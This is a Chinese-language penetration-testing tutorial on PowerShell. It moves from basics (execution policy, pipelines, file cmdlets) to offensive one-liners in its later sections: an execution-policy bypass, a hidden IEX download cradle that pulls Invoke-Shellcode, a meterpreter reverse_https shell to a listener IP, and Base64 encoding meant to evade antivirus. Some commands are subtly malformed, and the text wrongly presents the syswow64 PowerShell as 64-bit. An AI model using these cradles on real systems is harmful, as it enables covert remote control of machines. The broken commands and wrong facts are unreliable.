windows powershell是一种命令行外壳程序和脚本环境,它内置在每个受支持的windows版本中(windows7/windwos server 2008 R和更高版本),使命令行用户和基本板鞋者可以li利用.NET Framework的强大功能。

0x01 powershell简介

powershell具有很强的灵活性和功能化管理windows系统的能力。攻击者一旦可以在一台计算机上运行代码,就会下载powershell脚本文件(.ps1)到磁盘中执行,甚至无需写到磁盘中执行,可以直接在内存中运行,这些特点使得powershell在获得和保持对系统的访问权限时,利用诸多特点,可以持续攻击而不被轻易发现

powershell需要.NET环境的支持,同时支持.NET对象。且powershell在windows7以上版本的操作系统中是默认安装的

0x02 powershell版本信息

  • 2.0 windwos2008 windows7
  • 3.0 windwos2012 windwos8
  • 4.0 windwos2012R2 windows8.1
  • 5.0 windwos2016 windwos10

0x03 powershell基本概念

.ps1文件

powershell脚本是一个简单的文本文件,扩展名为.ps1.powershell脚本文件中包含一系列powershell命令,每个命令显示为独立的一行

执行策略

为了防止使用者运行恶意脚本,powershell提供了执行策略,默认情况下执行策略设置为不能运行

在powerhsell脚本无法运行,可以使用cmdlet命令查询当前的执行策略

1
Get-ExecutionPolicy

  • Restricted :脚本不能运行(默认设置)

  • RemoteSingned: 在本地创建的脚本可以运行,但从网上下载的脚本不能运行(拥有数字签名的除外)

  • AllSigned: 仅当脚本由受信任的发布者签名时才能运行

  • Unrestricted: 允许所有脚本运行

    可以使用下面的cmdlet命令设置powershell的执行策略,注意如下命令需要以管理员的权限运行

1
Set-ExecutionPolicy <policy name>

运行脚本

想要运行一个powershell脚本,需要输入完整的路径和文件名,如要运行脚本a.ps1需要输入C:\Scripts\a.ps1

另一种情况,如果powershell脚本文件刚好在系统目录下,在命令提示符后直接输入脚本文件名,如.\a.ps1既可运行脚本。与Linux中执行shell脚本的方法一样

管道

管道的作用是将一个命令的输出作为另一个命令的输入,两个命令之间用|连接,举个例子,执行如下命令,让所有正在运行的、命令以字符p开头的程序停止运行

1
get-process p* | stop-process

0x04 powershell常用命令

基本知识

在powershell中,类似cmd命令的命令叫做cmdlet命令。二者的命令规范一致,均采用动词-名词的形式,如New-ltem动词部分一般为 Add、New、Get、Remove、Set等。命令的别名一般兼容windows Command和Linux shell,如Get-Childltem命令在dir和ls下均可使用。powershell命令不区分大小写

下面以文件操作为例,说说powershell命令的基本用法

  • 新建目录:New-Item pentest -ItemType Directory
  • 新建文件: New-Item pentest.txt
  • 删除目录: Remove-Item pentest
  • 显示文本内容: Get-Content pentest.txt
  • 设置文本内容: Set-Content pentest.txt "Hello World"
  • 追加内容: Add-Content pentest.txt "T LOVE YOU"
  • 清除命令: Clear-Content pentest.txt

常用命令

进入powershell命令行环境输入help命令即可显示帮助菜单

查看当前powershell的版本,有两种方式

1
Get-Host

1
$PSVersionTable.PSVERSION

1、绕过本地权限并执行

1
2
powershell.exe -ExecutionPolicy Bypass -File PowerUp.ps1
Import-Module .\PowerUp.ps1 //导入脚本

1
Get-Command -Module powerup //查看所有模块

在目标本地执行脚本文件,命令如下

1
powershell.exe -ExecutionPolicy Bypass -Command "& {Import-Module C:\Users\Admin\Desktop\PowerTools\PowerUp\PowerUp.ps1; Invoke-AllChecks}"

2、从网站服务器中下载脚本,绕过本地权限并隐藏执行

1
PowerShell.exe-ExecutionPolicy Bypass-WindowStyle Hidden-NoProfile-Nonl IEX (New-ObjectNet.WebClient).DownloadString("xxx.ps1");[Parameters]

最终执行代码

1
2
PowerShell.exe-ExecutionPolicy Bypass-WindowStyle Hidden-NoProfile-Nonl IEX (New-ObjectNet.WebClient).DownloadString("xxx.ps1"); 
Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.30.129 -Lport 80

参数说明

  • -ExecutionPolicy Bypass(-Exec Bypass):绕过执行安全策略,默认情况下,powers hell安全策略不能运行命令和文件
  • -WindowStyle Hidden(-W Hidden):隐藏窗口
  • NonInteractive(-NonI):非交互模式,powershell不为用户提供交互式的提示
  • NoProfile(-Nop):powershell控制台不加载当前用户的配置文件
  • -noexit:执行后不退出shell,使用键盘记录等脚本时
  • -NoLogo: 启动不现实版权标志的powershell

3、使用Base64对powershell命令进行编码

进行Base64编码的目的是混淆和压缩代码,规避一些杀毒软件。如下使用脚本对powershell命令进行封装,因这个脚本转换对象必须为文本文件,因此,我们先把命令写入到一个txt文件中

1
echo "IEX (New-ObjectNet.WebClient).DownloadString("https://raw.githubusercontent.com/cheetz/PowerSploit/master/CodeExecution/Invoke--Shellcode.ps1");Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.30.129 -Lport 80" > pentest.txt

下载Base64编码脚本对其进行编码,输出的是Base64编码后的内容

在远程主机上执行如下命令

1
powershell.exe -Nop -NonI -W Hidden -Exec Bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAaAB0AHQAcABzADoALwAvAHIAYQB3AC4AZwBpAHQAaAB1AGIAdQBzAGUAcgBjAG8AbgB0AGUAbgB0AC4AYwBvAG0ALwBjAGgAZQBlAHQAegAvAFAAbwB3AGUAcgBTAHAAbABvAGkAdAAvAG0AYQBzAHQAZQByAC8AQwBvAGQAZQBFAHgAZQBjAHUAdABpAG8AbgAvAEkAbgB2AG8AawBlAC0ALQBTAGgAZQBsAGwAYwBvAGQAZQAuAHAAcwAxACkAOwBJAG4AdgBvAGsAZQAtAFMAaABlAGwAbABjAG8AZABlACAALQBQAGEAeQBsAG8AYQBkACAAdwBpAG4AZABvAHcAcwAvAG0AZQB0AGUAcgBwAHIAZQB0AGUAcgAvAHIAZQB2AGUAcgBzAGUAXwBoAHQAdABwAHMAIAAtAEwAaABvAHMAdAAgADEAOQAyAC4AMQA2ADgALgAzADAALgAxADIAOQAgAC0ATABwAG8AcgB0ACAAOAAwAAoA

运行32位和64位powershell

一些powershell只能在指定的平台上运行,如64位平台只能通过64位的powershell脚本运行命令

在64位的windows操作系统中,存在两个版本的powershell,一个是x64版本的,另一个是x86版本的。两个版本的执行策略不会相互影响,可看作独立两个程序。x64版本powershell配置文件在%windir%\syswow64\windowspowershell\v1.0\目录下

  • 运行32位powershell脚本,如下命令
1
powershell.exe -Nop -NonI -W Hidden -Exec Bypass
  • 运行64位powershell脚本,如下命令
1
%WinDir%\syswow64\windowspowershell\v1.0\powershell.exe -Nop -NonI -W Hidden -Exec Bypass //win10测试时没运行起来

参考资料

PowerShell 在线教程

《内网安全攻防渗透测试指南》